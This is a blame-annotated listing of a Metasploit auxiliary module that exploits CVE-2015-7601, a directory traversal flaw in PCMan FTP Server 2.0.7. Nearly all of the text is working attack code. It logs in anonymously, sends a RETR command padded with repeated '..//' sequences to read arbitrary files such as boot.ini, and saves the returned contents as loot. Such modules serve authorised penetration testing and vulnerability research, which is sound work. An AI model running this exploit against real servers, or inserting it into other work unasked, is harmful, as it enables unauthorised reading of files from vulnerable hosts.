2015-11-08 05:08:23 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-11-08 05:08:23 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2015-11-11 17:06:54 +00:00
|
|
|
'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',
|
|
|
|
'Description' => %q{
|
2015-11-08 05:08:23 +00:00
|
|
|
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
|
|
|
|
This vulnerability allows an attacker to download arbitrary files from the server by crafting
|
|
|
|
a RETR command that includes file system traversal strings such as '..//'
|
|
|
|
},
|
2015-11-11 17:06:54 +00:00
|
|
|
'Platform' => 'win',
|
|
|
|
'Author' =>
|
2015-11-08 05:08:23 +00:00
|
|
|
[
|
2015-11-11 17:06:54 +00:00
|
|
|
'Jay Turla', # @shipcod3, msf and initial discovery
|
2015-11-08 05:08:23 +00:00
|
|
|
'James Fitts', # initial discovery
|
2015-11-11 17:06:54 +00:00
|
|
|
'Brad Wolfe <brad.wolfe[at]gmail.com>'
|
2015-11-08 05:08:23 +00:00
|
|
|
],
|
2015-11-11 17:06:54 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
2015-11-08 05:08:23 +00:00
|
|
|
[
|
|
|
|
[ 'EDB', '38340'],
|
|
|
|
[ 'CVE', '2015-7601']
|
|
|
|
],
|
2015-11-11 17:06:54 +00:00
|
|
|
'DisclosureDate' => 'Sep 28 2015'
|
|
|
|
))
|
2015-11-08 05:08:23 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2015-11-11 17:06:54 +00:00
|
|
|
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
|
2015-11-08 05:08:23 +00:00
|
|
|
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2015-11-11 17:06:54 +00:00
|
|
|
def check_host(ip)
|
|
|
|
begin
|
|
|
|
connect
|
|
|
|
if /220 PCMan's FTP Server 2\.0/i === banner
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
ensure
|
|
|
|
disconnect
|
2015-11-08 05:08:23 +00:00
|
|
|
end
|
2015-11-11 17:06:54 +00:00
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
2015-11-08 05:08:23 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(target_host)
|
|
|
|
begin
|
|
|
|
# Login anonymously and open the socket that we'll use for data retrieval.
|
|
|
|
connect_login
|
|
|
|
sock = data_connect
|
|
|
|
file_path = datastore['PATH']
|
|
|
|
file = ::File.basename(file_path)
|
|
|
|
|
|
|
|
# make RETR request and store server response message...
|
2015-11-11 17:06:54 +00:00
|
|
|
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
|
2015-11-08 05:08:23 +00:00
|
|
|
res = send_cmd( ["RETR", retr_cmd])
|
|
|
|
|
2015-11-08 05:17:57 +00:00
|
|
|
# read the file data from the socket that we opened
|
2015-11-08 05:08:23 +00:00
|
|
|
response_data = sock.read(1024)
|
|
|
|
|
2015-11-16 20:24:46 +00:00
|
|
|
unless response_data
|
|
|
|
print_error("#{file_path} not found")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2015-11-08 05:08:23 +00:00
|
|
|
if response_data.length == 0 or ! (res =~ /^150/ )
|
2015-11-08 05:17:57 +00:00
|
|
|
print_status("File (#{file_path})from #{peer} is empty...")
|
2015-11-08 05:08:23 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# store file data to loot
|
2015-11-08 05:40:23 +00:00
|
|
|
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
|
2015-11-11 17:06:54 +00:00
|
|
|
vprint_status("Data returned:\n")
|
|
|
|
vprint_line(response_data)
|
|
|
|
print_good("Stored #{file_path} to #{loot_file}")
|
2015-11-08 05:08:23 +00:00
|
|
|
|
2015-11-11 17:06:54 +00:00
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
|
|
|
vprint_error(e.message)
|
|
|
|
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
|
|
|
vprint_error(e.message)
|
|
|
|
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
|
2015-11-08 05:08:23 +00:00
|
|
|
ensure
|
|
|
|
data_disconnect
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|